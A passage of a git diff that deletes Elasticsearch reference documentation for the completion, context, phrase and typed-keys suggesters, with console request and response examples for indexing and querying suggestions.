-`input` and an optional `weight` attribute. An `input` is the expected
-text to be matched by a suggestion query and the `weight` determines how
-the suggestions will be scored. Indexing a suggestion is as follows:
-
-[source,console]
---------------------------------------------------
-PUT music/_doc/1?refresh
-{
-  "suggest" : {
-    "input": [ "Nevermind", "Nirvana" ],
-    "weight" : 34
-  }
-}
---------------------------------------------------
-// TEST
-
-The following parameters are supported:
-
-[horizontal]
-`input`::
-    The input to store, this can be an array of strings or just
-    a string. This field is mandatory.
-+
-[NOTE]
-====
-This value cannot contain the following UTF-16 control characters:
-
-* `\u0000` (null)
-* `\u001f` (information separator one)
-* `\u001e` (information separator two)
-====
-
-
-`weight`::
-    A positive integer or a string containing a positive integer,
-    which defines a weight and allows you to rank your suggestions.
-    This field is optional.
-
-You can index multiple suggestions for a document as follows:
-
-[source,console]
---------------------------------------------------
-PUT music/_doc/1?refresh
-{
-  "suggest": [
-    {
-      "input": "Nevermind",
-      "weight": 10
-    },
-    {
-      "input": "Nirvana",
-      "weight": 3
-    }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-You can use the following shorthand form. Note that you can not specify
-a weight with suggestion(s) in the shorthand form.
-
-[source,console]
---------------------------------------------------
-PUT music/_doc/1?refresh
-{
-  "suggest" : [ "Nevermind", "Nirvana" ]
-}
---------------------------------------------------
-// TEST[continued]
-
-[[querying]]
-===== Querying
-
-Suggesting works as usual, except that you have to specify the suggest
-type as `completion`. Suggestions are near real-time, which means
-new suggestions can be made visible by <<indices-refresh,refresh>> and
-documents once deleted are never shown. This request:
-
-[source,console]
---------------------------------------------------
-POST music/_search?pretty
-{
-  "suggest": {
-    "song-suggest": {
-      "prefix": "nir",        <1>
-      "completion": {         <2>
-          "field": "suggest"  <3>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> Prefix used to search for suggestions
-<2> Type of suggestions
-<3> Name of the field to search for suggestions in
-
-returns this response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards" : {
-    "total" : 1,
-    "successful" : 1,
-    "skipped" : 0,
-    "failed" : 0
-  },
-  "hits": ...
-  "took": 2,
-  "timed_out": false,
-  "suggest": {
-    "song-suggest" : [ {
-      "text" : "nir",
-      "offset" : 0,
-      "length" : 3,
-      "options" : [ {
-        "text" : "Nirvana",
-        "_index": "music",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 1.0,
-        "_source": {
-          "suggest": ["Nevermind", "Nirvana"]
-        }
-      } ]
-    } ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"hits": .../"hits": "$body.hits",/]
-// TESTRESPONSE[s/"took": 2,/"took": "$body.took",/]
-
-
-IMPORTANT: `_source` metadata field must be enabled, which is the default
-behavior, to enable returning `_source` with suggestions.
-
-The configured weight for a suggestion is returned as `_score`. The
-`text` field uses the `input` of your indexed suggestion. Suggestions
-return the full document `_source` by default. The size of the `_source`
-can impact performance due to disk fetch and network transport overhead.
-To save some network overhead, filter out unnecessary fields from the `_source`
-using <<source-filtering, source filtering>> to minimize
-`_source` size. Note that the _suggest endpoint doesn't support source
-filtering but using suggest on the `_search` endpoint does:
-
-[source,console]
---------------------------------------------------
-POST music/_search
-{
-  "_source": "suggest",     <1>
-  "suggest": {
-    "song-suggest": {
-      "prefix": "nir",
-      "completion": {
-        "field": "suggest", <2>
-        "size": 5           <3>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> Filter the source to return only the `suggest` field
-<2> Name of the field to search for suggestions in
-<3> Number of suggestions to return
-
-Which should look like:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 6,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total": {
-      "value": 0,
-      "relation": "eq"
-    },
-    "max_score": null,
-    "hits": []
-  },
-  "suggest": {
-    "song-suggest": [ {
-        "text": "nir",
-        "offset": 0,
-        "length": 3,
-        "options": [ {
-            "text": "Nirvana",
-            "_index": "music",
-            "_type": "_doc",
-            "_id": "1",
-            "_score": 1.0,
-            "_source": {
-              "suggest": [ "Nevermind", "Nirvana" ]
-            }
-          } ]
-      } ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 6,/"took": $body.took,/]
-
-The basic completion suggester query supports the following parameters:
-
-[horizontal]
-`field`:: The name of the field on which to run the query (required).
-`size`::  The number of suggestions to return (defaults to `5`).
-`skip_duplicates`:: Whether duplicate suggestions should be filtered out (defaults to `false`).
-
-NOTE: The completion suggester considers all documents in the index.
-See <<context-suggester>> for an explanation of how to query a subset of
-documents instead.
-
-NOTE: In case of completion queries spanning more than one shard, the suggest
-is executed in two phases, where the last phase fetches the relevant documents
-from shards, implying executing completion requests against a single shard is
-more performant due to the document fetch overhead when the suggest spans
-multiple shards. To get best performance for completions, it is recommended to
-index completions into a single shard index. In case of high heap usage due to
-shard size, it is still recommended to break index into multiple shards instead
-of optimizing for completion performance.
-
-[[skip_duplicates]]
-===== Skip duplicate suggestions
-
-Queries can return duplicate suggestions coming from different documents.
-It is possible to modify this behavior by setting `skip_duplicates` to true.
-When set, this option filters out documents with duplicate suggestions from the result.
-
-[source,console]
---------------------------------------------------
-POST music/_search?pretty
-{
-  "suggest": {
-    "song-suggest": {
-      "prefix": "nor",
-      "completion": {
-        "field": "suggest",
-        "skip_duplicates": true
-      }
-    }
-  }
-}
---------------------------------------------------
-
-WARNING: When set to true, this option can slow down search because more suggestions
-need to be visited to find the top N.
-
-[[fuzzy]]
-===== Fuzzy queries
-
-The completion suggester also supports fuzzy queries -- this means
-you can have a typo in your search and still get results back.
-
-[source,console]
---------------------------------------------------
-POST music/_search?pretty
-{
-  "suggest": {
-    "song-suggest": {
-      "prefix": "nor",
-      "completion": {
-        "field": "suggest",
-        "fuzzy": {
-          "fuzziness": 2
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Suggestions that share the longest prefix to the query `prefix` will
-be scored higher.
-
-The fuzzy query can take specific fuzzy parameters.
-The following parameters are supported:
-
-[horizontal]
-`fuzziness`::
-    The fuzziness factor, defaults to `AUTO`.
-    See  <<fuzziness>> for allowed settings.
-
-`transpositions`::
-    if set to `true`, transpositions are counted
-    as one change instead of two, defaults to `true`
-
-`min_length`::
-    Minimum length of the input before fuzzy
-    suggestions are returned, defaults `3`
-
-`prefix_length`::
-    Minimum length of the input, which is not
-    checked for fuzzy alternatives, defaults to `1`
-
-`unicode_aware`::
-    If `true`, all measurements (like fuzzy edit
-    distance, transpositions, and lengths) are
-    measured in Unicode code points instead of
-    in bytes.  This is slightly slower than raw
-    bytes, so it is set to `false` by default.
-
-NOTE: If you want to stick with the default values, but
-      still use fuzzy, you can either use `fuzzy: {}`
-      or `fuzzy: true`.
-
-[[regex]]
-===== Regex queries
-
-The completion suggester also supports regex queries meaning
-you can express a prefix as a regular expression
-
-[source,console]
---------------------------------------------------
-POST music/_search?pretty
-{
-  "suggest": {
-    "song-suggest": {
-      "regex": "n[ever|i]r",
-      "completion": {
-        "field": "suggest"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The regex query can take specific regex parameters.
-The following parameters are supported:
-
-[horizontal]
-`flags`::
-    Possible flags are `ALL` (default), `ANYSTRING`, `COMPLEMENT`,
-    `EMPTY`, `INTERSECTION`, `INTERVAL`, or `NONE`. See <<query-dsl-regexp-query, regexp-syntax>>
-    for their meaning
-
-`max_determinized_states`::
-    Regular expressions are dangerous because it's easy to accidentally
-    create an innocuous looking one that requires an exponential number of
-    internal determinized automaton states (and corresponding RAM and CPU)
-    for Lucene to execute.  Lucene prevents these using the
-    `max_determinized_states` setting (defaults to 10000).  You can raise
-    this limit to allow more complex regular expressions to execute.
diff --git a/docs/reference/search/suggesters/context-suggest.asciidoc b/docs/reference/search/suggesters/context-suggest.asciidoc
deleted file mode 100644
index cbc027f4f54..00000000000
--- a/docs/reference/search/suggesters/context-suggest.asciidoc
+++ /dev/null
@@ -1,380 +0,0 @@
-[[context-suggester]]
-==== Context Suggester
-
-The completion suggester considers all documents in the index, but it is often
-desirable to serve suggestions filtered and/or boosted by some criteria.
-For example, you want to suggest song titles filtered by certain artists or
-you want to boost song titles based on their genre.
-
-To achieve suggestion filtering and/or boosting, you can add context mappings while
-configuring a completion field. You can define multiple context mappings for a
-completion field.
-Every context mapping has a unique name and a type. There are two types: `category`
-and `geo`. Context mappings are configured under the `contexts` parameter in
-the field mapping.
-
-NOTE: It is mandatory to provide a context when indexing and querying
-      a context enabled completion field.
-
-The following defines types, each with two context mappings for a completion
-field:
-
-[source,console]
---------------------------------------------------
-PUT place
-{
-  "mappings": {
-    "properties": {
-      "suggest": {
-        "type": "completion",
-        "contexts": [
-          {                                 <1>
-            "name": "place_type",
-            "type": "category"
-          },
-          {                                 <2>
-            "name": "location",
-            "type": "geo",
-            "precision": 4
-          }
-        ]
-      }
-    }
-  }
-}
-PUT place_path_category
-{
-  "mappings": {
-    "properties": {
-      "suggest": {
-        "type": "completion",
-        "contexts": [
-          {                           <3>
-            "name": "place_type",
-            "type": "category",
-            "path": "cat"
-          },
-          {                           <4>
-            "name": "location",
-            "type": "geo",
-            "precision": 4,
-            "path": "loc"
-          }
-        ]
-      },
-      "loc": {
-        "type": "geo_point"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-<1> Defines a `category` context named 'place_type' where the categories must be
-    sent with the suggestions.
-<2> Defines a `geo` context named 'location' where the categories must be sent
-    with the suggestions.
-<3> Defines a `category` context named 'place_type' where the categories are
-    read from the `cat` field.
-<4> Defines a `geo` context named 'location' where the categories are read from
-    the `loc` field.
-
-NOTE: Adding context mappings increases the index size for completion field. The completion index
-is entirely heap resident, you can monitor the completion field index size using <<indices-stats>>.
-
-[[suggester-context-category]]
-[discrete]
-===== Category Context
-
-The `category` context allows you to associate one or more categories with suggestions at index
-time. At query time, suggestions can be filtered and boosted by their associated categories.
-
-The mappings are set up like the `place_type` fields above. If `path` is defined
-then the categories are read from that path in the document, otherwise they must
-be sent in the suggest field like this:
-
-[source,console]
---------------------------------------------------
-PUT place/_doc/1
-{
-  "suggest": {
-    "input": [ "timmy's", "starbucks", "dunkin donuts" ],
-    "contexts": {
-      "place_type": [ "cafe", "food" ]                    <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> These suggestions will be associated with 'cafe' and 'food' category.
-
-If the mapping had a `path` then the following index request would be enough to
-add the categories:
-
-[source,console]
---------------------------------------------------
-PUT place_path_category/_doc/1
-{
-  "suggest": ["timmy's", "starbucks", "dunkin donuts"],
-  "cat": ["cafe", "food"] <1>
-}
---------------------------------------------------
-
-<1> These suggestions will be associated with 'cafe' and 'food' category.
-
-NOTE: If context mapping references another field and the categories
-are explicitly indexed, the suggestions are indexed with both set
-of categories.
-
-
-[discrete]
-====== Category Query
-
-Suggestions can be filtered by one or more categories. The following
-filters suggestions by multiple categories:
-
-[source,console]
---------------------------------------------------
-POST place/_search?pretty
-{
-  "suggest": {
-    "place_suggestion": {
-      "prefix": "tim",
-      "completion": {
-        "field": "suggest",
-        "size": 10,
-        "contexts": {
-          "place_type": [ "cafe", "restaurants" ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-NOTE: If multiple categories or category contexts are set on the query
-they are merged as a disjunction. This means that suggestions match
-if they contain at least one of the provided context values.
-
-Suggestions with certain categories can be boosted higher than others.
-The following filters suggestions by categories and additionally boosts
-suggestions associated with some categories:
-
-[source,console]
---------------------------------------------------
-POST place/_search?pretty
-{
-  "suggest": {
-    "place_suggestion": {
-      "prefix": "tim",
-      "completion": {
-        "field": "suggest",
-        "size": 10,
-        "contexts": {
-          "place_type": [                             <1>
-            { "context": "cafe" },
-            { "context": "restaurants", "boost": 2 }
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The context query filter suggestions associated with
-    categories 'cafe' and 'restaurants' and boosts the
-    suggestions associated with 'restaurants' by a
-    factor of `2`
-
-In addition to accepting category values, a context query can be composed of
-multiple category context clauses. The following parameters are supported for a
-`category` context clause:
-
-[horizontal]
-`context`::
-    The value of the category to filter/boost on.
-    This is mandatory.
-
-`boost`::
-    The factor by which the score of the suggestion
-    should be boosted, the score is computed by
-    multiplying the boost with the suggestion weight,
-    defaults to `1`
-
-`prefix`::
-    Whether the category value should be treated as a
-    prefix or not. For example, if set to `true`,
-    you can filter category of 'type1', 'type2' and
-    so on, by specifying a category prefix of 'type'.
-    Defaults to `false`
-
-NOTE: If a suggestion entry matches multiple contexts the final score is computed as the
-maximum score produced by any matching contexts.
-
-[[suggester-context-geo]]
-[discrete]
-===== Geo location Context
-
-A `geo` context allows you to associate one or more geo points or geohashes with suggestions
-at index time. At query time, suggestions can be filtered and boosted if they are within
-a certain distance of a specified geo location.
-
-Internally, geo points are encoded as geohashes with the specified precision.
-
-[discrete]
-====== Geo Mapping
-
-In addition to the `path` setting, `geo` context mapping accepts the following settings:
-
-[horizontal]
-`precision`::
-    This defines the precision of the geohash to be indexed and can be specified
-    as a distance value (`5m`, `10km` etc.), or as a raw geohash precision (`1`..`12`).
-    Defaults to a raw geohash precision value of `6`.
-
-NOTE: The index time `precision` setting sets the maximum geohash precision that
-can be used at query time.
-
-[discrete]
-====== Indexing geo contexts
-
-`geo` contexts can be explicitly set with suggestions or be indexed from a geo point field in the
-document via the `path` parameter, similar to `category` contexts. Associating multiple geo location context
-with a suggestion, will index the suggestion for every geo location. The following indexes a suggestion
-with two geo location contexts:
-
-[source,console]
---------------------------------------------------
-PUT place/_doc/1
-{
-  "suggest": {
-    "input": "timmy's",
-    "contexts": {
-      "location": [
-        {
-          "lat": 43.6624803,
-          "lon": -79.3863353
-        },
-        {
-          "lat": 43.6624718,
-          "lon": -79.3873227
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-====== Geo location Query
-
-Suggestions can be filtered and boosted with respect to how close they are to one or
-more geo points. The following filters suggestions that fall within the area represented by
-the encoded geohash of a geo point:
-
-[source,console]
---------------------------------------------------
-POST place/_search
-{
-  "suggest": {
-    "place_suggestion": {
-      "prefix": "tim",
-      "completion": {
-        "field": "suggest",
-        "size": 10,
-        "contexts": {
-          "location": {
-            "lat": 43.662,
-            "lon": -79.380
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-NOTE: When a location with a lower precision at query time is specified, all suggestions
-that fall within the area will be considered.
-
-NOTE: If multiple categories or category contexts are set on the query
-they are merged as a disjunction. This means that suggestions match
-if they contain at least one of the provided context values.
-
-Suggestions that are within an area represented by a geohash can also be boosted higher
-than others, as shown by the following:
-
-[source,console]
---------------------------------------------------
-POST place/_search?pretty
-{
-  "suggest": {
-    "place_suggestion": {
-      "prefix": "tim",
-      "completion": {
-        "field": "suggest",
-        "size": 10,
-        "contexts": {
-          "location": [             <1>
-                      {
-              "lat": 43.6624803,
-              "lon": -79.3863353,
-              "precision": 2
-            },
-            {
-              "context": {
-                "lat": 43.6624803,
-                "lon": -79.3863353
-              },
-              "boost": 2
-            }
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The context query filters for suggestions that fall under
-    the geo location represented by a geohash of '(43.662, -79.380)'
-    with a precision of '2' and boosts suggestions
-    that fall under the geohash representation of '(43.6624803, -79.3863353)'
-    with a default precision of '6' by a factor of `2`
-
-NOTE: If a suggestion entry matches multiple contexts the final score is computed as the
-maximum score produced by any matching contexts.
-
-In addition to accepting context values, a context query can be composed of
-multiple context clauses. The following parameters are supported for a
-`geo` context clause:
-
-[horizontal]
-`context`::
-    A geo point object or a geo hash string to filter or
-    boost the suggestion by. This is mandatory.
-
-`boost`::
-    The factor by which the score of the suggestion
-    should be boosted, the score is computed by
-    multiplying the boost with the suggestion weight,
-    defaults to `1`
-
-`precision`::
-    The precision of the geohash to encode the query geo point.
-    This can be specified as a distance value (`5m`, `10km` etc.),
-    or as a raw geohash precision (`1`..`12`).
-    Defaults to index time precision level.
-
-`neighbours`::
-    Accepts an array of precision values at which
-    neighbouring geohashes should be taken into account.
-    precision value can be a distance value (`5m`, `10km` etc.)
-    or a raw geohash precision (`1`..`12`). Defaults to
-    generating neighbours for index time precision level.
diff --git a/docs/reference/search/suggesters/misc.asciidoc b/docs/reference/search/suggesters/misc.asciidoc
deleted file mode 100644
index b32dffbab54..00000000000
--- a/docs/reference/search/suggesters/misc.asciidoc
+++ /dev/null
@@ -1,85 +0,0 @@
-[[return-suggesters-type]]
-==== Returning the type of the suggester
-
-Sometimes you need to know the exact type of a suggester in order to parse its results. The `typed_keys` parameter
- can be used to change the suggester's name in the response so that it will be prefixed by its type.
-
-Considering the following example with two suggesters `term` and `phrase`:
-
-[source,console]
---------------------------------------------------
-POST _search?typed_keys
-{
-  "suggest": {
-    "text" : "some test mssage",
-    "my-first-suggester" : {
-      "term" : {
-        "field" : "message"
-      }
-    },
-    "my-second-suggester" : {
-      "phrase" : {
-        "field" : "message"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-In the response, the suggester names will be changed to respectively `term#my-first-suggester` and
-`phrase#my-second-suggester`, reflecting the types of each suggestion:
-
-[source,console-result]
---------------------------------------------------
-{
-  "suggest": {
-    "term#my-first-suggester": [ <1>
-      {
-        "text": "some",
-        "offset": 0,
-        "length": 4,
-        "options": []
-      },
-      {
-        "text": "test",
-        "offset": 5,
-        "length": 4,
-        "options": []
-      },
-      {
-        "text": "mssage",
-        "offset": 10,
-        "length": 6,
-        "options": [
-          {
-            "text": "message",
-            "score": 0.8333333,
-            "freq": 4
-          }
-        ]
-      }
-    ],
-    "phrase#my-second-suggester": [ <2>
-      {
-        "text": "some test mssage",
-        "offset": 0,
-        "length": 16,
-        "options": [
-          {
-            "text": "some test message",
-            "score": 0.030227963
-          }
-        ]
-      }
-    ]
-  },
-  ...
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": "$body.took", "timed_out": false, "_shards": "$body._shards", "hits": "$body.hits"/]
-// TESTRESPONSE[s/"score": 0.8333333/"score": $body.suggest.term#my-first-suggester.2.options.0.score/]
-// TESTRESPONSE[s/"score": 0.030227963/"score": $body.suggest.phrase#my-second-suggester.0.options.0.score/]
-
-<1> The name `my-first-suggester` now contains the `term` prefix.
-<2> The name `my-second-suggester` now contains the `phrase` prefix.
diff --git a/docs/reference/search/suggesters/phrase-suggest.asciidoc b/docs/reference/search/suggesters/phrase-suggest.asciidoc
deleted file mode 100644
index e7428b54892..00000000000
--- a/docs/reference/search/suggesters/phrase-suggest.asciidoc
+++ /dev/null
@@ -1,441 +0,0 @@
-[[phrase-suggester]]
-==== Phrase Suggester
-
-NOTE: In order to understand the format of suggestions, please
-read the <<search-suggesters>> page first.
-
-The `term` suggester provides a very convenient API to access word
-alternatives on a per token basis within a certain string distance. The API
-allows accessing each token in the stream individually while
-suggest-selection is left to the API consumer. Yet, often pre-selected
-suggestions are required in order to present to the end-user. The
-`phrase` suggester adds additional logic on top of the `term` suggester
-to select entire corrected phrases instead of individual tokens weighted
-based on `ngram-language` models. In practice this suggester will be
-able to make better decisions about which tokens to pick based on
-co-occurrence and frequencies.
-
-===== API Example
-
-In general the `phrase` suggester requires special mapping up front to work.
-The `phrase` suggester examples on this page need the following mapping to
-work. The `reverse` analyzer is used only in the last example.
-
-[source,console]
---------------------------------------------------
-PUT test
-{
-  "settings": {
-    "index": {
-      "number_of_shards": 1,
-      "analysis": {
-        "analyzer": {
-          "trigram": {
-            "type": "custom",
-            "tokenizer": "standard",
-            "filter": ["lowercase","shingle"]
-          },
-          "reverse": {
-            "type": "custom",
-            "tokenizer": "standard",
-            "filter": ["lowercase","reverse"]
-          }
-        },
-        "filter": {
-          "shingle": {
-            "type": "shingle",
-            "min_shingle_size": 2,
-            "max_shingle_size": 3
-          }
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "title": {
-        "type": "text",
-        "fields": {
-          "trigram": {
-            "type": "text",
-            "analyzer": "trigram"
-          },
-          "reverse": {
-            "type": "text",
-            "analyzer": "reverse"
-          }
-        }
-      }
-    }
-  }
-}
-POST test/_doc?refresh=true
-{"title": "noble warriors"}
-POST test/_doc?refresh=true
-{"title": "nobel prize"}
---------------------------------------------------
-// TESTSETUP
-
-Once you have the analyzers and mappings set up you can use the `phrase`
-suggester in the same spot you'd use the `term` suggester:
-
-[source,console]
---------------------------------------------------
-POST test/_search
-{
-  "suggest": {
-    "text": "noble prize",
-    "simple_phrase": {
-      "phrase": {
-        "field": "title.trigram",
-        "size": 1,
-        "gram_size": 3,
-        "direct_generator": [ {
-          "field": "title.trigram",
-          "suggest_mode": "always"
-        } ],
-        "highlight": {
-          "pre_tag": "<em>",
-          "post_tag": "</em>"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The response contains suggestions scored by the most likely spelling correction first. In this case we received the expected correction "nobel prize".
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": ...
-  "hits": ...
-  "timed_out": false,
-  "took": 3,
-  "suggest": {
-    "simple_phrase" : [
-      {
-        "text" : "noble prize",
-        "offset" : 0,
-        "length" : 11,
-        "options" : [ {
-          "text" : "nobel prize",
-          "highlighted": "<em>nobel</em> prize",
-          "score" : 0.48614594
-        }]
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_shards": .../"_shards": "$body._shards",/]
-// TESTRESPONSE[s/"hits": .../"hits": "$body.hits",/]
-// TESTRESPONSE[s/"took": 3,/"took": "$body.took",/]
-
-===== Basic Phrase suggest API parameters
-
-[horizontal]
-`field`::
-    The name of the field used to do n-gram lookups for the
-    language model, the suggester will use this field to gain statistics to
-    score corrections. This field is mandatory.
-
-`gram_size`::
-    Sets max size of the n-grams (shingles) in the `field`.
-    If the field doesn't contain n-grams (shingles), this should be omitted
-    or set to `1`. Note that Elasticsearch tries to detect the gram size
-    based on the specified `field`. If the field uses a `shingle` filter, the
-    `gram_size` is set to the `max_shingle_size` if not explicitly set.
-
-`real_word_error_likelihood`::
-    The likelihood of a term being
-    misspelled even if the term exists in the dictionary. The default is
-    `0.95`, meaning 5% of the real words are misspelled.
-
-
-`confidence`::
-    The confidence level defines a factor applied to the
-    input phrases score which is used as a threshold for other suggest
-    candidates. Only candidates that score higher than the threshold will be
-    included in the result. For instance a confidence level of `1.0` will
-    only return suggestions that score higher than the input phrase. If set
-    to `0.0` the top N candidates are returned. The default is `1.0`.
-
-`max_errors`::
-    The maximum percentage of the terms 
-    considered to be misspellings in order to form a correction. This method
-    accepts a float value in the range `[0..1)` as a fraction of the actual
-    query terms or a number `>=1` as an absolute number of query terms. The
-    default is set to `1.0`, meaning only corrections with
-    at most one misspelled term are returned.  Note that setting this too high
-    can negatively impact performance. Low values like `1` or `2` are recommended;
-    otherwise the time spend in suggest calls might exceed the time spend in
-    query execution.
-
-`separator`::
-    The separator that is used to separate terms in the
-    bigram field. If not set the whitespace character is used as a
-    separator.
-
-`size`::
-    The number of candidates that are generated for each
-    individual query term. Low numbers like `3` or `5` typically produce good
-    results. Raising this can bring up terms with higher edit distances. The
-    default is `5`.
-
-`analyzer`::
-    Sets the analyzer to analyze to suggest text with.
-    Defaults to the search analyzer of the suggest field passed via `field`.
-
-`shard_size`::
-    Sets the maximum number of suggested terms to be
-    retrieved from each individual shard. During the reduce phase, only the
-    top N suggestions are returned based on the `size` option. Defaults to
-    `5`.
-
-`text`::
-    Sets the text / query to provide suggestions for.
-
-`highlight`::
-    Sets up suggestion highlighting.  If not provided then
-    no `highlighted` field is returned.  If provided must
-    contain exactly `pre_tag` and `post_tag`, which are
-    wrapped around the changed tokens.  If multiple tokens
-    in a row are changed the entire phrase of changed tokens
-    is wrapped rather than each token.
-
-`collate`::
-    Checks each suggestion against the specified `query` to prune suggestions
-    for which no matching docs exist in the index. The collate query for a
-    suggestion is run only on the local shard from which the suggestion has
-    been generated from. The `query` must be specified and it can be templated,
-    see <<search-template,search templates>> for more information.
-    The current suggestion is automatically made available as the `{{suggestion}}`
-    variable, which should be used in your query.  You can still specify
-    your own template `params` -- the `suggestion` value will be added to the
-    variables you specify. Additionally, you can specify a `prune` to control
-    if all phrase suggestions will be returned; when set to `true` the suggestions
-    will have an additional option `collate_match`, which will be `true` if
-    matching documents for the phrase was found, `false` otherwise.
-    The default value for `prune` is `false`.
-
-[source,console]
---------------------------------------------------
-POST test/_search
-{
-  "suggest": {
-    "text" : "noble prize",
-    "simple_phrase" : {
-      "phrase" : {
-        "field" :  "title.trigram",
-        "size" :   1,
-        "direct_generator" : [ {
-          "field" :            "title.trigram",
-          "suggest_mode" :     "always",
-          "min_word_length" :  1
-        } ],
-        "collate": {
-          "query": { <1>
-            "source" : {
-              "match": {
-                "{{field_name}}" : "{{suggestion}}" <2>
-              }
-            }
-          },
-          "params": {"field_name" : "title"}, <3>
-          "prune": true <4>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> This query will be run once for every suggestion.
-<2> The `{{suggestion}}` variable will be replaced by the text
-    of each suggestion.
-<3> An additional `field_name` variable has been specified in
-    `params` and is used by the `match` query.
-<4> All suggestions will be returned with an extra `collate_match`
-    option indicating whether the generated phrase matched any
-    document.
-
-===== Smoothing Models
-
-The `phrase` suggester supports multiple smoothing models to balance
-weight between infrequent grams (grams (shingles) are not existing in
-the index) and frequent grams (appear at least once in the index). The
-smoothing model can be selected by setting the `smoothing` parameter
-to one of the following options. Each smoothing model supports specific
-properties that can be configured.
-
-[horizontal]
-`stupid_backoff`::
-    A simple backoff model that backs off to lower
-    order n-gram models if the higher order count is `0` and discounts the
-    lower order n-gram model by a constant factor. The default `discount` is
-    `0.4`. Stupid Backoff is the default model.
-
-`laplace`::
-    A smoothing model that uses an additive smoothing where a
-    constant (typically `1.0` or smaller) is added to all counts to balance
-    weights. The default `alpha` is `0.5`.
-
-`linear_interpolation`::
-    A smoothing model that takes the weighted
-    mean of the unigrams, bigrams, and trigrams based on user supplied
-    weights (lambdas). Linear Interpolation doesn't have any default values.
-    All parameters (`trigram_lambda`, `bigram_lambda`, `unigram_lambda`)
-    must be supplied.
-
-[source,console]
---------------------------------------------------
-POST test/_search
-{
-  "suggest": {
-    "text" : "obel prize",
-    "simple_phrase" : {
-      "phrase" : {
-        "field" : "title.trigram",
-        "size" : 1,
-        "smoothing" : {
-          "laplace" : {
-            "alpha" : 0.7
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-===== Candidate Generators
-
-The `phrase` suggester uses candidate generators to produce a list of
-possible terms per term in the given text. A single candidate generator
-is similar to a `term` suggester called for each individual term in the
-text. The output of the generators is subsequently scored in combination
-with the candidates from the other terms for suggestion candidates.
-
-Currently only one type of candidate generator is supported, the
-`direct_generator`. The Phrase suggest API accepts a list of generators
-under the key `direct_generator`; each of the generators in the list is
-called per term in the original text.
-
-===== Direct Generators
-
-The direct generators support the following parameters:
-
-[horizontal]
-`field`::
-    The field to fetch the candidate suggestions from. This is
-    a required option that either needs to be set globally or per
-    suggestion.
-
-`size`::
-    The maximum corrections to be returned per suggest text token.
-
-`suggest_mode`::
-    The suggest mode controls what suggestions are included on the suggestions
-    generated on each shard. All values other than `always` can be thought of
-    as an optimization to generate fewer suggestions to test on each shard and
-    are not rechecked when combining the suggestions generated on each
-    shard. Thus `missing` will generate suggestions for terms on shards that do
-    not contain them even if other shards do contain them. Those should be
-    filtered out using `confidence`. Three possible values can be specified:
-    ** `missing`: Only generate suggestions for terms that are not in the
-                 shard. This is the default.
-    ** `popular`: Only suggest terms that occur in more docs on the shard than
-                 the original term.
-    ** `always`: Suggest any matching suggestions based on terms in the
-                 suggest text.
-
-`max_edits`::
-    The maximum edit distance candidate suggestions can have
-    in order to be considered as a suggestion. Can only be a value between 1
-    and 2. Any other value results in a bad request error being thrown.
-    Defaults to 2.
-
-`prefix_length`::
-    The number of minimal prefix characters that must
-    match in order be a candidate suggestions. Defaults to 1. Increasing
-    this number improves spellcheck performance. Usually misspellings don't
-    occur in the beginning of terms. (Old name "prefix_len" is deprecated)
-
-`min_word_length`::
-    The minimum length a suggest text term must have in
-    order to be included. Defaults to 4. (Old name "min_word_len" is deprecated)
-
-`max_inspections`::
-    A factor that is used to multiply with the
-    `shards_size` in order to inspect more candidate spelling corrections on
-    the shard level. Can improve accuracy at the cost of performance.
-    Defaults to 5.
-
-`min_doc_freq`::
-    The minimal threshold in number of documents a
-    suggestion should appear in. This can be specified as an absolute number
-    or as a relative percentage of number of documents. This can improve
-    quality by only suggesting high frequency terms. Defaults to 0f and is
-    not enabled. If a value higher than 1 is specified, then the number
-    cannot be fractional. The shard level document frequencies are used for
-    this option.
-
-`max_term_freq`::
-    The maximum threshold in number of documents in which a
-    suggest text token can exist in order to be included. Can be a relative
-    percentage number (e.g., 0.4) or an absolute number to represent document
-    frequencies. If a value higher than 1 is specified, then fractional can
-    not be specified. Defaults to 0.01f. This can be used to exclude high
-    frequency terms -- which are usually spelled correctly -- from being spellchecked. This also improves the spellcheck
-    performance. The shard level document frequencies are used for this
-    option.
-
-`pre_filter`::
-    A filter (analyzer) that is applied to each of the
-    tokens passed to this candidate generator. This filter is applied to the
-    original token before candidates are generated.
-
-`post_filter`::
-    A filter (analyzer) that is applied to each of the
-    generated tokens before they are passed to the actual phrase scorer.
-
-The following example shows a `phrase` suggest call with two generators:
-the first one is using a field containing ordinary indexed terms, and the
-second one uses a field that uses terms indexed with a `reverse` filter
-(tokens are index in reverse order). This is used to overcome the limitation
-of the direct generators to require a constant prefix to provide
-high-performance suggestions. The `pre_filter` and `post_filter` options
-accept ordinary analyzer names.
-
-[source,console]
---------------------------------------------------
-POST test/_search
-{
-  "suggest": {
